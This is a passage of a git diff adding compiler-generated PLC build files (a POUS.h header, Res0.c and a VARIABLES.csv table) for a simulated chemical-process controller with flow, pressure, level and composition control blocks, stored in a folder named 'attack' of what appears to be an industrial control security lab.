SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +53;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +54;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +66;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +67;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +71;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +72;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +86;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +87;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +97;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +98;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; 